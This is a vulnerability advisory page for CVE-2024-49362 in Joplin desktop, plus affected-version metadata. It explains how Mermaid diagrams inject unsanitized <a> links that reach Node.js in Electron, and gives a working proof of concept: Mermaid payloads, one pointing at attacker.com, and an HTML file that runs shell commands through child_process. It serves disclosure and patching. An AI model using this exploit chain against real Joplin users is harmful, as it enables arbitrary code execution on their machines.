Ecosyste.ms: Advisories
An open API service providing security vulnerability metadata for many open source software ecosystems.
Security Advisories: GSA_kwCzR0hTQS1oZmY4LWhqd3YtajlxN84ABBW0
Remote Code Execution on click of <a> Link in markdown preview
Summary
There is a vulnerability in Joplin-desktop
that leads to remote code execution (RCE) when a user clicks on an <a>
link within untrusted notes. The issue arises due to insufficient sanitization of <a>
tag attributes introduced by the Mermaid
. This vulnerability allows the execution of untrusted HTML content within the Electron window, which has full access to Node.js APIs, enabling arbitrary shell command execution.
Details
In the markdown preview iframe, Joplin
only opens <a>
links internally within the same Electron window if they contain the data-from-md
attribute. While Joplin successfully sanitizes the data-from-md
attribute in user-embedded <a>
links from the .md
file to prevent the execution of untrusted HTML content, it fails to sanitize the data-from-md
attributes of <a>
tags introduced by Mermaid
(e.g., the code snippet shown below). Since Mermaid
allows the rendering of certain scriptless HTML elements, an attacker can embed <a>
tags with data-from-md
attributes, which will then be opened internally in the same Electron window.
Additionally, Joplin
opens the window with nodeIntegration
set to true
and contextIsolation
set to false
, resulting in any scripts running in the opened window having full access to Node.js APIs. Furthermore, the markdown preview iframe shares the same origin (i.e.,local file system) as its parent and lacks the sandbox
attribute, allowing scripts running in the iframe to call Node.js APIs through window.parent
. As a result, an attacker can execute arbitrary code using Node.js APIs by exploiting HTML files stored on the local file system, which share the same origin as the parent.
Relevant code references:
- Payload to inject
<a>
withdata-from-md
attribute:
```mermaid
flowchart TD
A[<a href="https://attacker.com" data-from-md>hello</a>]
```
- Handling link navigation in the markdown preview iframe
- Window configuration of
Joplin
window
PoC
Considering the user has downloaded the following shared files from the internet (Note: the threat model aligns with existing published security issues: GHSA-2h88-m32f-qh5m and GHSA-g8qx-5vcm-3x59, where the malicious HTML file is available locally):
poc.md
```mermaid
flowchart TD
A[<a href="/../../../../../../../../../../../../../../../path/to/poc2.html" data-from-md>hello</a>]
```
poc2.html
<html>
<body>
<script>
if (typeof window.parent.require !== 'undefined') {
const { exec } = window.parent.require('child_process');
exec('ls -al', (err, stdout, stderr) => {
if (err) {
document.body.innerText = `Error: ${err.message}`;
return;
}
if (stderr) {
document.body.innerText = `Stderr: ${stderr}`;
return;
}
document.body.innerText = stdout;
});
} else {
document.body.innerText = 'Require is not available in this environment.';
}
</script>
</body>
</html>
Then, open the poc.md
with Joplin
and click on the hello
link. The code embedded in the poc2.html
will be executed.
Impact
This vulnerability can lead to Remote Code Execution (RCE) when users open and interact with untrusted notes, while malicious HTML files are available locally.
Permalink: https://github.com/advisories/GHSA-hff8-hjwv-j9q7JSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oZmY4LWhqd3YtajlxN84ABBW0
Source: GitHub Advisory Database
Origin: Unspecified
Severity: High
Classification: General
Published: 7 days ago
Updated: 6 days ago
CVSS Score: 7.7
CVSS vector: CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:L
Identifiers: GHSA-hff8-hjwv-j9q7, CVE-2024-49362
References:
- https://github.com/laurent22/joplin/security/advisories/GHSA-hff8-hjwv-j9q7
- https://nvd.nist.gov/vuln/detail/CVE-2024-49362
- https://github.com/advisories/GHSA-hff8-hjwv-j9q7
Blast Radius: 11.0
Affected Packages
npm:joplin
Dependent packages: 2Dependent repositories: 27
Downloads: 1,331 last month
Affected Version Ranges: = 3.0
Fixed in: 3.1
All affected versions: 3.0.1
All unaffected versions: 0.8.40, 0.8.68, 0.8.70, 0.8.71, 0.8.72, 0.9.1, 0.9.2, 0.9.3, 0.9.4, 0.9.5, 0.9.6, 0.9.7, 0.9.8, 0.9.9, 0.9.10, 0.9.11, 0.9.12, 0.9.13, 0.9.18, 0.9.19, 0.10.20, 0.10.21, 0.10.22, 0.10.23, 0.10.24, 0.10.25, 0.10.26, 0.10.27, 0.10.28, 0.10.29, 0.10.30, 0.10.31, 0.10.32, 0.10.33, 0.10.34, 0.10.35, 0.10.36, 0.10.38, 0.10.39, 0.10.40, 0.10.41, 0.10.42, 0.10.43, 0.10.44, 0.10.45, 0.10.46, 0.10.47, 0.10.48, 0.10.49, 0.10.50, 0.10.51, 0.10.53, 0.10.54, 0.10.55, 0.10.58, 0.10.60, 0.10.61, 0.10.62, 0.10.63, 0.10.64, 0.10.65, 0.10.66, 0.10.67, 0.10.68, 0.10.69, 0.10.70, 0.10.71, 0.10.72, 0.10.73, 0.10.74, 0.10.75, 0.10.76, 0.10.77, 0.10.78, 0.10.79, 0.10.80, 0.10.81, 0.10.82, 0.10.83, 0.10.84, 0.10.85, 0.10.86, 0.10.87, 0.10.88, 0.10.89, 0.10.90, 0.10.91, 0.10.92, 0.10.93, 1.0.95, 1.0.96, 1.0.97, 1.0.98, 1.0.99, 1.0.100, 1.0.101, 1.0.103, 1.0.104, 1.0.106, 1.0.107, 1.0.108, 1.0.109, 1.0.110, 1.0.112, 1.0.113, 1.0.114, 1.0.115, 1.0.116, 1.0.117, 1.0.118, 1.0.119, 1.0.120, 1.0.122, 1.0.123, 1.0.124, 1.0.125, 1.0.126, 1.0.127, 1.0.128, 1.0.129, 1.0.130, 1.0.131, 1.0.132, 1.0.133, 1.0.135, 1.0.136, 1.0.137, 1.0.139, 1.0.140, 1.0.141, 1.0.142, 1.0.143, 1.0.144, 1.0.145, 1.0.146, 1.0.147, 1.0.148, 1.0.149, 1.0.150, 1.0.151, 1.0.152, 1.0.153, 1.0.154, 1.0.155, 1.0.156, 1.0.157, 1.0.158, 1.0.159, 1.0.160, 1.0.161, 1.0.162, 1.0.163, 1.0.164, 1.0.165, 1.0.166, 1.0.167, 1.0.168, 1.1.2, 1.1.7, 1.1.8, 1.2.1, 1.2.2, 1.2.3, 1.3.1, 1.3.2, 1.3.3, 1.4.2, 1.4.3, 1.4.4, 1.4.5, 1.4.6, 1.4.7, 1.4.8, 1.4.9, 1.5.1, 1.6.1, 1.6.2, 1.6.3, 1.6.4, 1.8.1, 2.0.1, 2.1.1, 2.1.2, 2.2.1, 2.2.2, 2.3.2, 2.4.1, 2.6.1, 2.6.2, 2.8.1, 2.9.1, 2.10.1, 2.10.2, 2.10.3, 2.11.1, 2.12.1, 2.13.1, 2.13.2, 2.14.1